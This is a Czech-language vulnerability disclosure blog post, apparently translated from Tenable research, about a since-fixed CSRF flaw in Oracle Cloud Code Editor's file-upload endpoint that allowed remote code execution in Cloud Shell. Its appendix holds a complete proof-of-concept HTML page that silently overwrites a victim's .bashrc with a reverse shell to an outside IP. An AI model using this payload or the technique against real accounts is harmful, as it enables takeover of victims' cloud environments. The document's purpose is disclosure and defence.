Článek přečtěte do 5 min.

Oracle Code Editor je lehké integrované vývojové prostředí (IDE) založené na prohlížeči v infrastruktuře Oracle Cloud. Je integrováno se základními vývojářskými službami OCI, jako jsou Resource Manager, Functions a Data Science, a využívá prostředí Cloud Shell v zákulisí. To znamená, že veškeré změny kódu nebo operace se soubory v Code Editoru přímo interagují se stejným podkladovým souborovým systémem a uživatelskou relací, kterou používá Cloud Shell, čímž vzniká úzce propojená integrace, která sdílí ověřování, přístup k souborům a běhový kontext. Code Editor lze spustit odkudkoli v konzoli OCI, podporovaných službách a Cloud Shell.

Editor kódu je výzkumníky i uživateli často považován za izolovaný prostor v sandboxu, ale jeho hluboké rozhraní se Správcem zdrojů, funkcemi a datovou vědou naznačuje opak. Naše intuice byla jednoduchá: pokud vývojář může snadno nahrávat soubory, může to udělat i útočník?

Tato jediná otázka nás vedla k hlubšímu zkoumání toho, jak jsou soubory směrovány a ověřovány mezi prohlížečem a souborovým systémem Cloud Shell.

Technické detaily

Když integrace zakrývají skutečnou hrozbu

Náš výzkum začal, jak už to tak často bývá, s jednoduchým cílem: prozkoumat Cloud Shell v Oracle Cloud Infrastructure a lépe porozumět jeho bezpečnostnímu nastavení. Cloud Shell poskytuje uživatelům prostředí příkazového řádku přímo v prohlížeči s přístupem k rozhraní příkazového řádku (CLI) OCI a dočasnému souborovému systému. Když jsme sledovali povrch Cloud Shellu a jeho mechanismus nahrávání souborů, vše se zdálo být dobře uzamčené a vymezené.

Ale v cloudových ekosystémech nebezpečí nespočívá vždy v tom, co vidíte, ale často v tom, co je tiše integrováno v zákulisí.

Během našeho výzkumu jsme si všimli něčeho, co vynikalo: Editor kódu zřejmě používal stejný základní souborový systém jako Cloud Shell. Obě služby sdílely stejný kontext relace a především přístup ke stejným souborům.

Toto těsné propojení je záměrné: Code Editor nabízí vrstvu nad Cloud Shell, což vývojářům umožňuje bezproblémovou práci s terminálem a uživatelsky přívětivé prostředí IDE. Francisco J. Alvarez Rabanal, cloudový architekt řešení ve společnosti Oracle, tuto funkcionalitu ukázal v příspěvku na LinkedIn, když byla tato možnost v roce 2022 oznámena (viz snímek obrazovky níže):

Francisco J. Alvarez Rabanal, architekt cloudových platforem ve společnosti Oracle, tuto funkcionalitu ukázal v příspěvku na LinkedInu, když byla v roce 2022 oznámena.
Zdroj: https://www.linkedin.com/pulse/code-editor-perfect-oci-cloud-shell-companion-alvarez-rabanal/

Zpočátku se samotný mechanismus nahrávání souborů v Cloud Shell zdál bezpečný. Se soubory zacházel zodpovědně a neodhaloval nic neobvyklého. Když jsme se ale zaměřili na editor kódu, zjistili jsme nepatrný rozdíl: koncový bod nahrávání, který se choval jinak a odhalil náš objev.

Na rozdíl od procesu nahrávání v Cloud Shellu odhalil Code Editor /file-uploadkoncový bod, kterému chyběla ochrana proti padělání požadavků mezi weby (CSRF). Toto nesouladění otevřelo dveře vzdálené manipulaci se soubory prostřednictvím vytvořených požadavků mezi weby. Integrace Cloud Shellu s Code Editorem v prohlížeči zavedla novou útočnou plochu, skryté, méně chráněné dveře do stejného prostředí.

Toto poznání je klíčovým ponaučením v moderním výzkumu cloudové bezpečnosti: integrace nejsou jen pohodlí, ale potenciální místa zranitelností.

Objev: Router, který příliš mnoho mluví

Jádrem této zranitelnosti je kritická součást: router Cloud Shell ( router.cloudshell.us-ashburn-1.oci.oraclecloud.com). Tento router je odhalen při používání editoru kódu a je zodpovědný za nahrávání a stahování souborů v souborovém systému editoru kódu.

Zjistili jsme, že router přijímá HTTP POSTpožadavky obsahující multipart/form-datadatové části, což je typické nastavení pro nahrávání souborů. Varovným signálem byla přítomnost souboru CS-ProxyChallengecookie, který se používá k ověřování, ale je nakonfigurován s SameSite=Noneatributem.

Pro kontext, moderní prohlížeče používají atribut cookie SameSite k prevenci útoků CSRF. Hodnota None nenabízí žádnou ochranu před požadavky napříč weby, což znamená, že jakýkoli web by mohl spustit tento koncový bod jménem uživatele, pokud je ověřen.

Tato konfigurace vytvořila dokonalou bouři:

  • Žádost o cross-origin POSTje přijata
  • multipart/form-dataje povoleno (standard pro nahrávání)
  • Nejsou vyžadovány žádné další vlastní záhlaví.

V podstatě: útočník by mohl vytvořit webovou stránku, která by po návštěvě ověřeného uživatele infrastruktury Oracle Cloud nahrála škodlivý soubor do jeho Cloud Editoru bez jeho vědomí.

Protože Code Editor používá v zákulisí souborový systém Cloud Shell, nahraný soubor bude nahrán do Cloud Shell oběti.

Cesta exploatace: Od CSRF k RCE

Navrhli jsme Proof of Concept (PoC), který napodoboval scénář zneužití v reálném světě:

  1. Útočník hostuje na serveru škodlivý soubor HTML.
  2. Oběť, která je již přihlášena do služby Oracle Cloud Infrastructure, navštíví stránku útočníka.
  3. JavaScript na stránce tiše odešle požadavek POST do zranitelného koncového bodu /file-upload.
  4. Nahraný soubor se zapíše do citlivého umístění, například .bashrc.
  5. Když oběť příště inicializuje Cloud Shell, škodlivý kód se spustí, což vede ke vzdálenému spuštění kódu.

Zde je příklad HTTP požadavku použitého k nahrání souboru a v podstatě k provedení útoku:

POST /file-upload HTTP/1.1
Host: router.cloudshell.us-ashburn-1.oci.oraclecloud.com
Cookie: CS-ProxyChallenge=<base64_cookie>
Content-Type: multipart/form-data; boundary=----randomboundary
...
Content-Disposition: form-data; name="uri"
file:///home/username/.bashrc
...
Content-Disposition: form-data; name="file"; filename=".bashrc"
Content-Type: text/plain

<malicious shell code>

Naše datová část byla přepsána .bashrca navázala reverzní shell. (Kód POC naleznete v dodatku A na konci tohoto blogu.) Odtud jsme mohli interaktivně přistupovat ke Cloud Shell, spouštět příkazy a, co je klíčové, využívat Oracle Cloud Identity oběti k laterálnímu pohybu pomocí OCI CLI.

Bonusové zneužití: Za hranicemi Cloud Shell – integrované služby editoru kódu byly ohroženy

Zatímco počáteční vektor zneužití cílí na Cloud Shell, důsledky sahají ještě dále. Protože Code Editor pracuje na stejném sdíleném souborovém systému Cloud Shell, /file-uploadje jakýkoli škodlivý obsah nahraný prostřednictvím zranitelného koncového bodu okamžitě přístupný v kontextu editoru. To vytváří řetězovou reakci: útočníci mohou také manipulovat se soubory používanými službami Resource Manager, Functions nebo Data Science, které všechny závisí na tomto sdíleném prostředí. Například vložení škodlivého kódu do nasazené funkce Function nebo úprava pracovního prostoru Resource Manageru může vést k širšímu ohrožení napříč službami OCI. V podstatě to, co začíná jako jednoduchý CSRF exploit zaměřený na nahrávání souborů v Cloud Shell, se rychle stává hrozbou na více površích, která ohrožuje nejen shell, ale i celou sadu vývojářských nástrojů v něm obsažených.

Reakce dodavatele

V reakci na toto zjištění společnost Oracle Cloud Infrastructure tuto zranitelnost vyřešila implementací další vrstvy ochrany ve formě povinné vlastní HTTP hlavičky. Konkrétně všechny relevantní požadavky musí nyní obsahovat hlavičku s názvem x-csrf-token s hodnotou csrf-value. Tato změna vynucuje ochranu CSRF tím, že zajišťuje, že server přijímá pouze autorizované, správně naformátované požadavky generované z ověřeného prostředí Oracle Cloud. Bez této hlavičky jsou požadavky odmítány, což efektivně zmírňuje dříve zneužitelné chování.

Tato změna chrání před útoky CSRF, protože prohlížeče ve výchozím nastavení neumožňují JavaScriptu v jednom zdroji nastavovat libovolné vlastní hlavičky při vytváření požadavků napříč zdroji – pokud to cílový server explicitně nepovolí prostřednictvím CORS. Vzhledem k tomu, že hlavička x-csrf-token není prohlížeči automaticky zahrnuta během běžných požadavků napříč zdroji a nelze ji přidat různými zdroji bez správné konfigurace CORS, tento požadavek účinně blokuje přijetí neoprávněných požadavků.

Dodatek A

Kód POC:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>TCS Research POC</title>
    <script>
        function submitForm() {
            var xhr = new XMLHttpRequest();
            var boundary = "random";
            var url = "https://router.cloudshell.us-ashburn-1.oci.oraclecloud.com/file-upload";
            var fileData = `# .bashrc
# Source global definitions
if [ -f /etc/bashrc ]; then
    . /etc/bashrc
fi
# Uncomment the following line if you don't like systemctl's auto-paging feature:
# export SYSTEMD_PAGER=
# User specific aliases and functions
source /etc/bashrc.cloudshell
bash -i >& /dev/tcp/34.46.192.239/4040 0>&1`;
            var fileName = "refxss.html";
            var nameVar = "file";
            var filePath = "file:///home/lmatan/.bashrc";
            var boundaryPrefix = "----webkitformboundary";
            var body = "--" + boundaryPrefix + boundary + "\r\n";
            body += 'Content-Disposition: form-data; name="uri"\r\n\r\n';
            body += filePath + "\r\n";
            body += "--" + boundaryPrefix + boundary + "\r\n";
            body += 'Content-Disposition: form-data; name="' + nameVar + '"; filename="' + fileName + '"\r\n';
            body += "Content-Type: text/html\r\n\r\n";
            body += fileData + "\r\n";
            body += "--" + boundaryPrefix + boundary + "--\r\n";
            var blob = new Blob([body], { type: "multipart/form-data; boundary=" + boundaryPrefix + boundary });
            xhr.open("POST", url, true);
            xhr.withCredentials = true;
            xhr.send(blob);
        }
        window.onload = submitForm;
    </script>
</head>
<body>
     <h1>TCS Research RCE POC</h1>
     <p>...</p>
</body>
</html>
Zdroj: Tenable